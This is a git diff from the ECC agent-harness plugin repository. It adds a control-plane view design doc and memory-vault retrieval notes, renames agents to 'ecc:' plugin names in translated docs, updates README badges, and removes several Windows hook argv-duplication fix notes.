2D projection | `scripts/lib/agent-proximity/projection.js` (rolling z-score, tails clipped at 2.5 / 97.5, PCA) | +| Coordination inventory | `scripts/lib/coordination-inventory.js` (PR #3028): declared tasks and sessions, heartbeat freshness, lease conflicts | + +## Endpoints + +Served by `node scripts/control-pane.js` (loopback only, same Host and Origin gate as the rest of the pane): + +| Route | Returns | +|---|---| +| `GET /control-plane` | Self-contained HTML page: 2D projection canvas, lanes and tasks, event feed. No external scripts. | +| `GET /api/control-plane` | The full view document below. | +| `GET /api/control-plane/events` | `{ schemaVersion, generatedAt, thresholds, events, counts }` only, for hooks and pollers. | + +The server keeps one projection window per process. Both API routes share a snapshot cached for five seconds, and concurrent refresh requests are coalesced. Reads within that interval do not add samples. After expiry, the next read refreshes the snapshot once; idle intervals do not generate synthetic samples. Failed refreshes return errors rather than healthy empty data. The page rejects failed HTTP responses and invalid view envelopes and shows `offline`. Options on `createControlPaneServer`: `projection` (`windowSize`, `clipPercentiles`), `viewOptions` (`thresholds`, `manifest`, `channelWeights`, `minWindowForZscore`), `proximityOptions` (passed to the scan). + +## Document + +```json +{ + "schemaVersion": "ecc.control-plane.view.v1", + "generatedAt": "2026-09-11T20:01:00.000Z", + "source": { "snapshotSchema": "ecc.control-pane.snapshot.v1", "repoRoot": "...", "dbPath": "..." }, + "thresholds": { "ta": 0.35, "ra": 0.7, "source": "static" }, + "lanes": [ { "id": "harness:codex", "label": "codex", "kind": "harness", "taskIds": ["session-a"] } ], + "tasks": [ { "...": "see Task" } ], + "pairs": [ { "...": "see Pair" } ], + "events": [ { "...": "see Event" } ], + "projection": { "...": "see Projection" }, + "inventory": { "...": "see Inventory" }, + "counts": { "lanes": 1, "tasks": 1, "agents": 1, "pairs": 0, "events": 0, "advisories": 0, "resolutions": 0 }, + "limits": [ "..." ] +} +``` + +### Task + +One task per session. A session with no changed files is still a task; it has no projection point and no pairs. + +| Field | Meaning | +|---|---| +| `id` | Session id, unchanged. | +| `lane` | Lane id this task belongs to. | +| `label` | Session task text, or the id. | +| `harness`, `agentType`, `state`, `pid` | From the session row. | +| `worktree` | `{ path, branch, base }` or `null`. | +| `heartbeatAt`, `updatedAt` | ISO timestamps or `null`. | +| `workingSet` | `{ fileCount, files }`: the worktree diff against its base. | +| `projection` | `{ point, pairs, maxRisk }` where `point` is `[x, y]` or `null`. `point` is the risk-weighted centroid of the task's pair points in PCA space. | +| `inventory` | `{ id, heartbeat, process, authority: "declared-only" }`. `id` is the sanitized identifier used in the inventory manifest; `heartbeat` and `process` are the #3028 observations. | + +### Lane + +A grouping of tasks. Precedence: `task-group` (session `task_group`), then `project`, then `harness`. Ids are prefixed (`group:`, `project:`, `harness:`) so a consumer can tell the kinds apart without reading `kind`. + +### Pair + +One row per agent pair from the airspace scan (only sessions with edits participate). + +| Field | Meaning | +|---|---| +| `a`, `b` | Session ids. | +| `risk`, `level` | Noisy-OR risk and the scan's level (`clear`, `advisory`, `resolution`) at the scan's thresholds. | +| `channels` | Raw `{ x_tree, x_overlap, x_dep }` in [0, 1]. | +| `normalized` | The same after z-score, clip and map-back, or equal to `channels` while the window is cold. | +| `point` | `[pc1, pc2]` PCA scores. | + +### Event + +Something an operator or a hook may act on. Ids are deterministic across polls so a consumer can dedupe. + +```json +{ + "id": "proximity.advisory:session-a|session-b:resolution", + "kind": "proximity.advisory", + "level": "resolution", + "severity": "critical", + "at": "2026-09-11T20:01:00.000Z", + "subject": { "a": "session-a", "b": "session-b", "aLabel": "...", "bLabel": "..." }, + "risk": 1, + "distance": 0, + "channels": { "x_tree": 1, "x_overlap": 1, "x_dep": 0 }, + "threshold": { "ta": 0.35, "ra": 0.7, "crossed": "ra", "source": "static" }, + "action": { "type": "steer", "steer": "session-b", "hold": "session-a" }, + "message": "Resolution advisory: session-b steers, session-a holds (risk 100%, static threshold 0.7)." +} +``` + +| Kind | Levels | Action types | Source | +|---|---|---|---| +| `proximity.advisory` | `traffic` (risk at or above `ta`), `resolution` (at or above `ra`) | `transmit` (both agents share intent), `steer` (`steer` moves, `hold` keeps course) | Every pair link, evaluated against the view's thresholds. Right-of-way: more progress, then earlier start, then stable id. | +| `inventory.lease-conflict` | `conflict` | `review` | #3028 `leaseConflicts`. Declared-only, never a lock. | + +Thresholds are static per view (`source: "static"`). A learned threshold, closure-rate escalation, and the `pause` and `wait` maneuvers are slice (b), see `TCAS-HOOK.md`. + +### Projection + +```json +{ + "method": "pca", + "channels": ["x_tree", "x_overlap", "x_dep"], + "weights": { "x_tree": 0.25, "x_overlap": 1, "x_dep": 0.9 }, + "normalization": "zscore-clipped", + "window": { "samples": 12, "percentiles": [2.5, 97.5], "channels": [ { "channel": "x_tree", "mean": 0.39, "stddev": 0.42, "clipLow": -0.92, "clipHigh": 1.45 } ] }, + "pca": { "loadings": [ { "x_tree": 0.12, "x_overlap": 0.87, "x_dep": -0.47 }, { "...": "..." } ], "explainedVariance": [0.6, 0.39] }, + "agents": [ { "agentId": "session-a", "point": [0.18, 0.41], "pairs": 3, "maxRisk": 1 } ] +} +``` + +Pipeline per poll: every pair's channel vector is pushed into a rolling window (default 512 samples). Once the window holds at least 8 samples, each channel is z-scored against the window, clipped to the window's 2.5th and 97.5th percentile (in z units), mapped back to [0, 1], multiplied by the static channel weight, and the weighted matrix goes through PCA (Jacobi on the 3x3 covariance). Below 8 samples the raw channel values are used and `normalization` says `raw`. A channel with zero variance maps to 0.5. Degenerate inputs (fewer than two pairs, zero total variance) give zero scores, never NaN. + +The projection is a display. It never changes `risk`, the advisory level, or right-of-way. + +### Inventory + +The #3028 report with the per-task rows folded into `tasks[].inventory`. Kept at the top level: `status` (`ok` or `unavailable` with `reason`), `truncated` (more than 64 sessions), `observedAt`, `mode: "read-only"`, `activity`, `leaseConflicts`, `warnings`, `coverage`, `limits`. The manifest is built from the live sessions (ids sanitized to the inventory alphabet, paths from the working set, heartbeat from the session row, declared session status `open` for running/pending/idle, `closed` for completed/failed/stopped). An external manifest (`viewOptions.manifest`) can add `goals`, `leases`, `repositories` and extra `tasks`; the inventory then reports lease conflicts and goal activity for them. + +## Reuse in the Ito ops control plane + +The shape to copy is `task`, `lane`, `event`: + +- a **task** has an `id`, a `lane`, a `state`, an optional position, and an observation block whose `authority` says how much to trust it; +- a **lane** is a named group with ordered `taskIds`; +- an **event** has a stable `id`, a `kind`, a `level`, a `severity`, an `at`, a `subject`, an `action` with a `type`, and a human `message`. + +Nothing in the shape is ECC-specific except the event kinds. An ops board that renders lanes of tasks and a feed of events can render this document as-is, and can emit its own kinds (`deal.stalled`, `bridge.down`) into the same feed. + +## What this does not do + +- No leases are acquired, no agent is paused or steered. Consumers act; the view reports. +- No conflict-reduction percentage is claimed. The 85 percent goal in the push plan is measured two weeks before and after slice (b), not here. +- No semantic, call-graph or frequency channel yet (slice (g)). PCA picks new channels up automatically when they land in the scan. diff --git a/docs/de-DE/README.md b/docs/de-DE/README.md index 4ae0f5a53..07542e977 100644 --- a/docs/de-DE/README.md +++ b/docs/de-DE/README.md @@ -4,8 +4,8 @@ ![ECC - das Harness-native Operator-System für agentische Arbeit](../../assets/hero.png) -[![Stars](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Fstars&style=flat)](https://github.com/affaan-m/ECC/stargazers) -[![Forks](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Fforks&style=flat)](https://github.com/affaan-m/ECC/network/members) +[![GitHub-Sterne](https://img.shields.io/github/stars/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC) +[![GitHub-Forks](https://img.shields.io/github/forks/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC/forks) [![Contributors](https://img.shields.io/github/contributors/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC/graphs/contributors) [![npm ecc-universal](https://img.shields.io/npm/dw/ecc-universal?label=ecc-universal%20weekly%20downloads&logo=npm)](https://www.npmjs.com/package/ecc-universal) [![npm ecc-agentshield](https://img.shields.io/npm/dw/ecc-agentshield?label=ecc-agentshield%20weekly%20downloads&logo=npm)](https://www.npmjs.com/package/ecc-agentshield) diff --git a/docs/design/ecc-memory-vault.md b/docs/design/ecc-memory-vault.md index 55ba8e224..ac90669a5 100644 --- a/docs/design/ecc-memory-vault.md +++ b/docs/design/ecc-memory-vault.md @@ -33,6 +33,30 @@ one harness's hook support. - Procedural memory remains in rules and instincts, subject to their existing promotion and validation gates. +### Retrieval completeness and current state + +A bounded scan can be incomplete even when it has found a matching ID. Direct +reads reject truncated scans and scans containing invalid or unreadable memory +documents before claiming absence, uniqueness or complete backlinks. The core +error is `ECC_MEMORY_INCOMPLETE`; local MCP returns the safe tool error +`MEMORY_READ_INCOMPLETE`. No partial memory content is returned in that case. +Search retains its existing diagnostics so callers can inspect partial results +without interpreting them as a complete inventory. Entries excluded by the +existing hidden-file or symlink policy remain excluded; this does not bypass +filesystem safety or imply an atomic snapshot across concurrent edits. + +Failing a direct read because another document is malformed is an intentional +tradeoff: the operator must repair the authorized vault before relying on a +complete ID lookup. Use the existing doctor to inspect problems. Do not expand +scope or permissions to make a failed lookup pass. + +Supersession links are references, not automatic revocations. The existing +operator-reviewed status field controls active search; a direct read remains +available for explicit historical inspection once the scan is complete. Evidence +matching and lexical relevance do not establish current truth, authenticated +authorship or authority to execute actions. Those checks belong to the consuming +workflow, with original evidence retained when a fact changes. + ### Threat boundary The first-release runtime defends against hostile vault documents, stable diff --git a/docs/es/AGENTS.md b/docs/es/AGENTS.md index f19fa7120..c15bf5539 100644 --- a/docs/es/AGENTS.md +++ b/docs/es/AGENTS.md @@ -50,13 +50,13 @@ Este es un **plugin de IA para codificación listo para producción** que propor ## Orquestación de Agentes Usa agentes proactivamente sin prompt del usuario: -- Solicitudes de features complejas → **planner** -- Código recién escrito/modificado → **code-reviewer** -- Corrección de bug o nueva feature → **tdd-guide** -- Decisión arquitectónica → **architect** -- Código sensible a la seguridad → **security-reviewer** -- Bucles autónomos / monitoreo de bucles → **loop-operator** -- Confiabilidad y costo de la configuración del harness → **harness-optimizer** +- Solicitudes de features complejas → **ecc:planner** +- Código recién escrito/modificado → **ecc:code-reviewer** +- Corrección de bug o nueva feature → **ecc:tdd-guide** +- Decisión arquitectónica → **ecc:architect** +- Código sensible a la seguridad → **ecc:security-reviewer** +- Bucles autónomos / monitoreo de bucles → **ecc:loop-operator** +- Confiabilidad y costo de la configuración del harness → **ecc:harness-optimizer** Usa ejecución paralela para operaciones independientes — lanza múltiples agentes simultáneamente. diff --git a/docs/es/README.md b/docs/es/README.md index 040b28811..242adb358 100644 --- a/docs/es/README.md +++ b/docs/es/README.md @@ -4,13 +4,13 @@ ![ECC - el sistema operativo nativo del harness para trabajo agentivo](../../assets/hero.png) -[![Stars](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Fstars&style=flat)](https://github.com/affaan-m/ECC/stargazers) -[![Forks](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Fforks&style=flat)](https://github.com/affaan-m/ECC/network/members) +[![Estrellas de GitHub](https://img.shields.io/github/stars/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC) +[![Forks de GitHub](https://img.shields.io/github/forks/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC/forks) [![Contributors](https://img.shields.io/github/contributors/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC/graphs/contributors) [![npm ecc-universal](https://img.shields.io/npm/dw/ecc-universal?label=ecc-universal%20weekly%20downloads&logo=npm)](https://www.npmjs.com/package/ecc-universal) [![npm ecc-agentshield](https://img.shields.io/npm/dw/ecc-agentshield?label=ecc-agentshield%20weekly%20downloads&logo=npm)](https://www.npmjs.com/package/ecc-agentshield) [![GitHub App Install](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Finstalls&logo=github)](https://github.com/marketplace/ecc-tools) -[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) +[![License](https://img.shields.io/badge/license-MIT-blue.svg)](../../LICENSE) ![Shell](https://img.shields.io/badge/-Shell-4EAA25?logo=gnu-bash&logoColor=white) ![TypeScript](https://img.shields.io/badge/-TypeScript-3178C6?logo=typescript&logoColor=white) ![Python](https://img.shields.io/badge/-Python-3776AB?logo=python&logoColor=white) diff --git a/docs/es/rules/common/agents.md b/docs/es/rules/common/agents.md index 29f25b19e..bb61f7c14 100644 --- a/docs/es/rules/common/agents.md +++ b/docs/es/rules/common/agents.md @@ -2,29 +2,36 @@ ## Agentes Disponibles -Ubicados en `~/.claude/agents/`: +Los agentes de ECC se distribuyen con el plugin `ecc@ecc`, no en `~/.claude/agents/`. +Se invocan a través de la herramienta Agent con un `subagent_type` con ámbito de plugin: + +```text +Agent(subagent_type: "ecc:planner", prompt: "...") +``` | Agente | Propósito | Cuándo Usar | |--------|-----------|-------------| -| planner | Planificación de implementación | Features complejas, refactoring | -| architect | Diseño de sistemas | Decisiones arquitectónicas | -| tdd-guide | Desarrollo guiado por pruebas | Nuevas features, corrección de bugs | -| code-reviewer | Revisión de código | Después de escribir código | -| security-reviewer | Análisis de seguridad | Antes de los commits | -| build-error-resolver | Corrección de errores de build | Cuando el build falla | -| e2e-runner | Testing E2E | Flujos de usuario críticos | -| refactor-cleaner | Limpieza de código muerto | Mantenimiento de código | -| doc-updater | Documentación | Actualización de docs | -| rust-reviewer | Revisión de código Rust | Proyectos Rust | -| harmonyos-app-resolver | Desarrollo de apps HarmonyOS | Proyectos HarmonyOS/ArkTS | +| ecc:planner | Planificación de implementación | Features complejas, refactoring | +| ecc:architect | Diseño de sistemas | Decisiones arquitectónicas | +| ecc:tdd-guide | Desarrollo guiado por pruebas | Nuevas features, corrección de bugs | +| ecc:code-reviewer | Revisión de código | Después de escribir código | +| ecc:security-reviewer | Análisis de seguridad | Antes de los commits | +| ecc:build-error-resolver | Corrección de errores de build | Cuando el build falla | +| ecc:e2e-runner | Testing E2E | Flujos de usuario críticos | +| ecc:refactor-cleaner | Limpieza de código muerto | Mantenimiento de código | +| ecc:doc-updater | Documentación | Actualización de docs | +| ecc:rust-reviewer | Revisión de código Rust | Proyectos Rust | +| ecc:harmonyos-app-resolver | Desarrollo de apps HarmonyOS | Proyectos HarmonyOS/ArkTS | + +Para el roster completo de 68 agentes, ver `/ecc:ecc-guide`. ## Uso Inmediato de Agentes Sin necesidad de prompt del usuario: -1. Solicitudes de features complejas - Usar el agente **planner** -2. Código recién escrito/modificado - Usar el agente **code-reviewer** -3. Corrección de bug o nueva feature - Usar el agente **tdd-guide** -4. Decisión arquitectónica - Usar el agente **architect** +1. Solicitudes de features complejas - Usar el agente **ecc:planner** +2. Código recién escrito/modificado - Usar el agente **ecc:code-reviewer** +3. Corrección de bug o nueva feature - Usar el agente **ecc:tdd-guide** +4. Decisión arquitectónica - Usar el agente **ecc:architect** ## Ejecución Paralela de Tareas diff --git a/docs/fixes/HOOK-FIX-20260421-ADDENDUM.md b/docs/fixes/HOOK-FIX-20260421-ADDENDUM.md deleted file mode 100644 index 331710357..000000000 --- a/docs/fixes/HOOK-FIX-20260421-ADDENDUM.md +++ /dev/null @@ -1,109 +0,0 @@ -# HOOK-FIX-20260421 Addendum — v2.1.116 argv 重複バグ - -朝セッションで commit 527c18b として修正済み。夜セッションで追加検証と、 -朝fix でカバーしきれない Claude Code 固有のバグを特定したので補遺を記録する。 - -## 朝fixの形式 - -```json -"command": "C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh pre" -``` - -`.sh` ファイルを直接 command にする形式。Git Bash が shebang 経由で実行する前提。 - -## 夜 追加検証で判明したこと - -Node.js の `child_process.spawn` で `.sh` ファイルを直接実行すると Windows では -**EFTYPE** で失敗する: - -```js -spawn('C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh', - ['post'], {stdio:['pipe','pipe','pipe']}); -// → Error: spawn EFTYPE (errno -4028) -``` - -`shell:true` を付ければ cmd.exe 経由で実行できるが、Claude Code 側の実装 -依存のリスクが残る。 - -## 夜 適用した追加 fix - -第1トークンを `bash`(PATH 解決)に変えた明示的な呼び出しに更新: - -```json -{ - "hooks": { - "PreToolUse": [{ - "matcher": "*", - "hooks": [{ - "type": "command", - "command": "bash \"C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh\" pre" - }] - }], - "PostToolUse": [{ - "matcher": "*", - "hooks": [{ - "type": "command", - "command": "bash \"C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh\" post" - }] - }] - } -} -``` - -この形式は `~/.claude/hooks/hooks.json` 内の ECC 正規 observer 登録と -同じパターンで、現実にエラーなく動作している実績あり。 - -### Node spawn 検証 - -```js -spawn('bash "C:/Users/sugig/.claude/skills/continuous-learning/hooks/observe-wrapper.sh" post', - [], {shell:true}); -// exit=0 → observations.jsonl に正常追記 -``` - -## Claude Code v2.1.116 の argv 重複バグ(詳細) - -朝fix docの「Defect 2」として `bash.exe: bash.exe: cannot execute binary file` を -記録しているが、その根本メカニズムが特定できたので記す。 - -### 再現 - -```bash -"C:\Program Files\Git\bin\bash.exe" "C:\Program Files\Git\bin\bash.exe" -# stderr: "C:\Program Files\Git\bin\bash.exe: C:\Program Files\Git\bin\bash.exe: cannot execute binary file" -# exit: 126 -``` - -bash は argv[1] を script とみなし読み込もうとする。argv[1] が bash.exe 自身なら -ELF/PE バイナリ検出で失敗 → exit 126。エラー文言は完全一致。 - -### Claude Code 側の挙動 - -hook command が `"C:\Program Files\Git\bin\bash.exe" "C:\Users\...\wrapper.sh"` -のとき、v2.1.116 は**第1トークン(= bash.exe フルパス)を argv[0] と argv[1] の -両方に渡す**と推定される。結果 bash は argv[1] = bash.exe を script として -読み込もうとして 126 で落ちる。 - -### 回避策 - -第1トークンを bash.exe のフルパス+スペース付きパスにしないこと: -1. `OK:` `bash` (PATH 解決の単一トークン)— 夜fix / hooks.json パターン -2. `OK:` `.sh` 直接パス(Claude Code の .sh ハンドリングに依存)— 朝fix -3. `BAD:` `"C:\Program Files\Git\bin\bash.exe" ""` — 1トークン目が quoted で空白込み - -## 結論 - -朝fix(直接 .sh 指定)と夜fix(明示的 bash prefix)のどちらも argv 重複バグを -踏まないが、**夜fixの方が Claude Code の実装依存が少ない**ため推奨。 - -ただし朝fix commit 527c18b は既に docs/fixes/ に入っているため、この Addendum を -追記することで両論併記とする。次回 CLI 再起動時に夜fix の方が実運用に残る。 - -## 関連 - -- 朝 fix commit: 527c18b -- 朝 fix doc: docs/fixes/HOOK-FIX-20260421.md -- 朝 apply script: docs/fixes/apply-hook-fix.sh -- 夜 fix 記録(ローカル): C:\Users\sugig\Documents\Claude\Projects\ECC作成\hook-fix-report-20260421.md -- 夜 fix 適用ファイル: C:\Users\sugig\.claude\settings.local.json -- 夜 backup: C:\Users\sugig\.claude\settings.local.json.bak-hook-fix-20260421 diff --git a/docs/fixes/INSTALL-HOOK-WRAPPER-FIX-20260422.md b/docs/fixes/INSTALL-HOOK-WRAPPER-FIX-20260422.md deleted file mode 100644 index 0572f85f6..000000000 --- a/docs/fixes/INSTALL-HOOK-WRAPPER-FIX-20260422.md +++ /dev/null @@ -1,66 +0,0 @@ -# install_hook_wrapper.ps1 argv-dup bug workaround (2026-04-22) - -## Summary - -`docs/fixes/install_hook_wrapper.ps1` is the PowerShell helper that copies -`observe-wrapper.sh` into `~/.claude/skills/continuous-learning/hooks/` and -rewrites `~/.claude/settings.local.json` so the observer hook points at it. - -The previous version produced a hook command of the form: - -``` -"C:\Program Files\Git\bin\bash.exe" "C:\Users\...\observe-wrapper.sh" -``` - -Under Claude Code v2.1.116 the first argv token is duplicated. When that token -is a quoted Windows executable path, `bash.exe` is re-invoked with itself as -its `$0`, which fails with `cannot execute binary file` (exit 126). PR #1524 -documents the root cause; this script is a companion that keeps the installer -in sync with the fixed `settings.local.json` layout. - -## What the fix does - -- First token is now the PATH-resolved `bash` (no quoted `.exe` path), so the - argv-dup bug no longer passes a binary as a script. -- The wrapper path is normalized to forward slashes before it is embedded in - the hook command, avoiding MSYS backslash handling surprises. -- `PreToolUse` and `PostToolUse` receive distinct commands with explicit - `pre` / `post` positional arguments, matching the shape the wrapper expects. -- The settings file is written with LF line endings so downstream JSON parsers - never see mixed CRLF/LF output from `ConvertTo-Json`. - -## Resulting command shape - -``` -bash "C:/Users//.claude/skills/continuous-learning/hooks/observe-wrapper.sh" pre -bash "C:/Users//.claude/skills/continuous-learning/hooks/observe-wrapper.sh" post -``` - -## Usage - -```powershell -# Place observe-wrapper.sh next to this script, then: -pwsh -File docs/fixes/install_hook_wrapper.ps1 -``` - -The script backs up `settings.local.json` to -`settings.local.json.bak-` before writing. - -## PowerShell 5.1 compatibility - -`ConvertFrom-Json -AsHashtable` is PowerShell 7+ only. The script tries -`-AsHashtable` first and falls back to a manual `PSCustomObject` → -`Hashtable` conversion on Windows PowerShell 5.1. Both hook buckets -(`PreToolUse`, `PostToolUse`) and their inner `hooks` arrays are -materialized as `System.Collections.ArrayList` before serialization, so -PS 5.1's `ConvertTo-Json` cannot collapse single-element arrays into -bare objects. Verified by running `powershell -NoProfile -File -docs/fixes/install_hook_wrapper.ps1` on a Windows 11 machine with only -Windows PowerShell 5.1 installed (no `pwsh`). - -## Related - -- PR #1524 — settings.local.json shape fix (same argv-dup root cause) -- PR #1511 — skip `AppInstallerPythonRedirector.exe` in observer python resolution -- PR #1539 — locale-independent `detect-project.sh` -- PR #1542 — `patch_settings_cl_v2_simple.ps1` companion fix diff --git a/docs/fixes/PATCH-SETTINGS-SIMPLE-FIX-20260422.md b/docs/fixes/PATCH-SETTINGS-SIMPLE-FIX-20260422.md deleted file mode 100644 index 4a3e8cdc7..000000000 --- a/docs/fixes/PATCH-SETTINGS-SIMPLE-FIX-20260422.md +++ /dev/null @@ -1,78 +0,0 @@ -# patch_settings_cl_v2_simple.ps1 argv-dup bug workaround (2026-04-22) - -## Summary - -`docs/fixes/patch_settings_cl_v2_simple.ps1` is the minimal PowerShell -helper that patches `~/.claude/settings.local.json` so the observer hook -points at `observe-wrapper.sh`. It is the "simple" counterpart of -`docs/fixes/install_hook_wrapper.ps1` (PR #1540): it never copies the -wrapper script, it only rewrites the settings file. - -The previous version of this helper registered the raw `observe.sh` path -as the hook command, shared a single command string across `PreToolUse` -and `PostToolUse`, and relied on `ConvertTo-Json` defaults that can emit -CRLF line endings. Under Claude Code v2.1.116 the first argv token is -duplicated, so the wrapper needs to be invoked with a specific shape and -the two hook phases need distinct entries. - -## What the fix does - -- First token is the PATH-resolved `bash` (no quoted `.exe` path), so the - argv-dup bug no longer passes a binary as a script. Matches PR #1524 and - PR #1540. -- The wrapper path is normalized to forward slashes before it is embedded - in the hook command, avoiding MSYS backslash handling surprises. -- `PreToolUse` and `PostToolUse` receive distinct commands with explicit - `pre` / `post` positional arguments. -- The settings file is written UTF-8 (no BOM) with CRLF normalized to LF - so downstream JSON parsers never see mixed line endings. -- Existing hooks (including legacy `observe.sh` entries and unrelated - third-party hooks) are preserved — the script only appends the new - wrapper entries when they are not already registered. -- Idempotent on re-runs: a second invocation recognizes the canonical - command strings and logs `[SKIP]` instead of duplicating entries. - -## Resulting command shape - -``` -bash "C:/Users//.claude/skills/continuous-learning/hooks/observe-wrapper.sh" pre -bash "C:/Users//.claude/skills/continuous-learning/hooks/observe-wrapper.sh" post -``` - -## Usage - -```powershell -pwsh -File docs/fixes/patch_settings_cl_v2_simple.ps1 -# Windows PowerShell 5.1 is also supported: -powershell -NoProfile -ExecutionPolicy Bypass -File docs/fixes/patch_settings_cl_v2_simple.ps1 -``` - -The script backs up the existing settings file to -`settings.local.json.bak-` before writing. - -## PowerShell 5.1 compatibility - -`ConvertFrom-Json -AsHashtable` is PowerShell 7+ only. The script tries -`-AsHashtable` first and falls back to a manual `PSCustomObject` → -`Hashtable` conversion on Windows PowerShell 5.1. Both hook buckets -(`PreToolUse`, `PostToolUse`) and their inner `hooks` arrays are -materialized as `System.Collections.ArrayList` before serialization, so -PS 5.1's `ConvertTo-Json` cannot collapse single-element arrays into bare -objects. - -## Verified cases (dry-run) - -1. Fresh install — no existing settings → creates canonical file. -2. Idempotent re-run — existing canonical file → `[SKIP]` both phases, - file contents unchanged apart from the pre-write backup. -3. Legacy `observe.sh` present → preserves the legacy entries and - appends the new `observe-wrapper.sh` entries alongside them. - -All three cases produce LF-only output and match the shape registered by -PR #1524's manual fix to `settings.local.json`. - -## Related - -- PR #1524 — settings.local.json shape fix (same argv-dup root cause) -- PR #1539 — locale-independent `detect-project.sh` -- PR #1540 — `install_hook_wrapper.ps1` argv-dup fix (companion script) diff --git a/docs/ja-JP/AGENTS.md b/docs/ja-JP/AGENTS.md index be7370bc0..f32e801b8 100644 --- a/docs/ja-JP/AGENTS.md +++ b/docs/ja-JP/AGENTS.md @@ -50,13 +50,13 @@ ## エージェントオーケストレーション ユーザーのプロンプトなしで積極的にエージェントを使用する: -- 複雑な機能リクエスト → **planner** -- コードの作成/変更直後 → **code-reviewer** -- バグ修正または新機能 → **tdd-guide** -- アーキテクチャの意思決定 → **architect** -- セキュリティに関わるコード → **security-reviewer** -- 自律ループ / ループ監視 → **loop-operator** -- ハーネス設定の信頼性とコスト → **harness-optimizer** +- 複雑な機能リクエスト → **ecc:planner** +- コードの作成/変更直後 → **ecc:code-reviewer** +- バグ修正または新機能 → **ecc:tdd-guide** +- アーキテクチャの意思決定 → **ecc:architect** +- セキュリティに関わるコード → **ecc:security-reviewer** +- 自律ループ / ループ監視 → **ecc:loop-operator** +- ハーネス設定の信頼性とコスト → **ecc:harness-optimizer** 独立した操作には並列実行を使用する — 複数のエージェントを同時に起動する。 diff --git a/docs/ja-JP/README.md b/docs/ja-JP/README.md index e01e9c11b..00cc8b62f 100644 --- a/docs/ja-JP/README.md +++ b/docs/ja-JP/README.md @@ -1,439 +1,288 @@ -**言語:** [English](../../README.md) | [Português (Brasil)](../pt-BR/README.md) | [简体中文](../../README.zh-CN.md) | [繁體中文](../zh-TW/README.md) | [日本語](README.md) | [한국어](../ko-KR/README.md) | [Türkçe](../tr/README.md) | [Русский](../ru/README.md) | [Tiếng Việt](../vi-VN/README.md) | [ไทย](../th/README.md) | [Deutsch](../de-DE/README.md) | [Українська](../uk-UA/README.md) +

+ ECC - エージェントハーネスのオペレーティングシステム +

-# Everything Claude Code +

+ + + + GitHub Trending Repository of the Day + + + + + + Star History Global Rank + + +

-[![Stars](https://img.shields.io/github/stars/affaan-m/everything-claude-code?style=flat)](https://github.com/affaan-m/everything-claude-code/stargazers) -[![Forks](https://img.shields.io/github/forks/affaan-m/everything-claude-code?style=flat)](https://github.com/affaan-m/everything-claude-code/network/members) -[![Contributors](https://img.shields.io/github/contributors/affaan-m/everything-claude-code?style=flat)](https://github.com/affaan-m/everything-claude-code/graphs/contributors) -[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -![Shell](https://img.shields.io/badge/-Shell-4EAA25?logo=gnu-bash&logoColor=white) -![TypeScript](https://img.shields.io/badge/-TypeScript-3178C6?logo=typescript&logoColor=white) -![Python](https://img.shields.io/badge/-Python-3776AB?logo=python&logoColor=white) -![Go](https://img.shields.io/badge/-Go-00ADD8?logo=go&logoColor=white) -![Java](https://img.shields.io/badge/-Java-ED8B00?logo=openjdk&logoColor=white) -![Markdown](https://img.shields.io/badge/-Markdown-000000?logo=markdown&logoColor=white) +

+ Language: + English | + Português (Brasil) | + 简体中文 | + 繁體中文 | + 日本語 | + 한국어 | + Türkçe | + Русский | + Tiếng Việt | + ไทย | + Deutsch | + Español | + Українська +

-> **140K+ stars** | **21K+ forks** | **170+ contributors** | **12+ language ecosystems** +

+ Discord + Website + GitHub App + MIT ライセンス +

---- +

+ Stars + Forks + Contributors + GitHub App インストール数 +

+ +

+ ecc-universal npm ダウンロード数 + ecc-agentshield npm ダウンロード数 +

+ +

+ Shell + TypeScript + Python + Go + Java + Perl + Markdown +

+ +> [!WARNING] +> **公式ソースからのみインストールしてください。** ECC は検証済みのチャネルからのみインストールしてください。GitHub リポジトリ [github.com/affaan-m/ECC](https://github.com/affaan-m/ECC)、npm パッケージ [`ecc-universal`](https://www.npmjs.com/package/ecc-universal) と [`ecc-agentshield`](https://www.npmjs.com/package/ecc-agentshield)、[GitHub App](https://github.com/apps/ecc-tools)、plugin スラッグ `ecc@ecc`、そしてプロジェクト公式サイト [ecc.tools](https://ecc.tools) です。第三者による再アップロードや非公式ミラーはプロジェクトが保守・レビューしておらず、マルウェアを含む可能性があります。 + +## Claude Code でインストール + +[ガイド付きセットアップ](#ecc-のインストール)または[ネイティブ plugin コマンド](#claude-code-の詳細)を使用してください。どちらも同じ `ecc@ecc` plugin をインストールします。どちらか一方を選び、その上にフルの手動 Claude インストールを重ねないでください。
-**言語 / Language / 語言 / Dil / Язык / Ngôn ngữ** - -[**English**](../../README.md) | [Português (Brasil)](../pt-BR/README.md) | [简体中文](../../README.zh-CN.md) | [繁體中文](../zh-TW/README.md) | [日本語](README.md) | [한국어](../ko-KR/README.md) | [Türkçe](../tr/README.md) | [Русский](../ru/README.md) | [Tiếng Việt](../vi-VN/README.md) | [ไทย](../th/README.md) | [Deutsch](../de-DE/README.md) | [Українська](../uk-UA/README.md) -
- ---- - -**Anthropicハッカソン優勝者による完全なClaude Code設定集。** - -10ヶ月以上の集中的な日常使用により、実際のプロダクト構築の過程で進化した、本番環境対応のエージェント、スキル、フック、コマンド、ルール、MCP設定。 - ---- - -## ガイド - -このリポジトリには、原始コードのみが含まれています。ガイドがすべてを説明しています。 - - +
- - + - - - -
- -The Shorthand Guide to Everything Claude Code - + + + ECC Tools
